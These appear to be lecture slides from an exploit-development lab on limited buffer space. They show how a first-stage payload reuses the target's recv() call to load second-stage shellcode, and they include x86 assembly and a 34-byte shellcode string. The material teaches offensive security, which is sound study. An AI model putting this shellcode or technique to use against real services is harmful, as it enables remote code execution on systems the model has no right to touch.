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YCSC Lab Exploitation Basics

Limited Buffer Space Part 6.1

Assumptions



- Knowledge of
 - Assembly level language
 - Kali Linux
 - BooFuzz
 - Immunity Debugger

What to do if I need to learn above?

- Check out the resources mentioned at the end of this video

Module Structure



- Introduction
- Fuzzing
- PoC Creation
- Controlling the Execution
- Bad Character Analysis
- Cracking the shell

First stage payload



- Analyse the binary to identify if there is any reusable code or function
- Figure out a way to use this code or function

First stage payload



- Use recv() function to receive second stage payload shellcode

recv function

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The `recv` function receives data from a connected socket or a bound connectionless socket.

Syntax

C++

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```
int recv(  
    SOCKET s,  
    char *buf,  
    int len,  
    int flags  
);
```

Source: <https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv>

First stage payload



- Requirements
 - Function location
 - Parameters
 - Socket Descriptor (can be hardcoded or picked-up from memory)
 - Buffer location (after our first stage shellcode)
 - Buffer length (> 512 bytes)
 - Flags
 - Align stack to be positioned above our buffer
 - A clever way to bypass ASLR

First stage payload



- Flow of events
 - Align ECX with the location of socket descriptor
 - Align stack to be positioned above our buffer
 - Push function arguments in reverse order
 - Push flags
 - Push buffer length
 - Push buffer location
 - Push socket address
 - Load function address in EAX
 - Call function (EAX)

First stage payload



Assembly

```
;Align ECX
PUSH ESP
POP ECX
ADD CX,188

;Align Stack
SUB ESP,50

;Push Function
Arguments
XOR EBX,EBX
PUSH EBX
XOR EDX,EDX
ADD DH,2
PUSH EDX

ADD AL,42
PUSH EAX
PUSH DWORD PTR DS:[ECX]

;Load function address
MOV EAX,40252C11
SHR EAX,8
CALL EAX
```

Shellcode (34 bytes)

```
\x54\x59\x66\x81\xC1\x88\x01\x83\xEc\x50\x33\xDB\x53\x33
\xD2\x80\xC6\x02\x52\x04\x42\x50\xFF\x31\xB8\x11\x2C\x25
\x40\xC1\xE8\x08\xFF\xD0
```


Learning Resources



- **Kali Linux** – Kali Linux Revealed by Offensive Security (<https://www.kali.org/download-kali-linux-revealed-book/>)
- **Metasploit** - Metasploit: The Penetration Tester's Guide by David Kennedy, Jim O’Gorman, Devon Kearns, Mati Aharoni
- **Assembly Language** – Assembly Language Step by Step by Jeff Duntemann
- **BooFuzz** - <https://boofuzz.readthedocs.io/en/latest/>
- **Immunity Debugger** - Immunity Debugger basics (<https://sgros-students.blogspot.com/2014/05/immunity-debugger-basics-part-1.html>)
- **Exploit Development** – Fuzzy Security (<https://www.fuzzysecurity.com/tutorials.html>)



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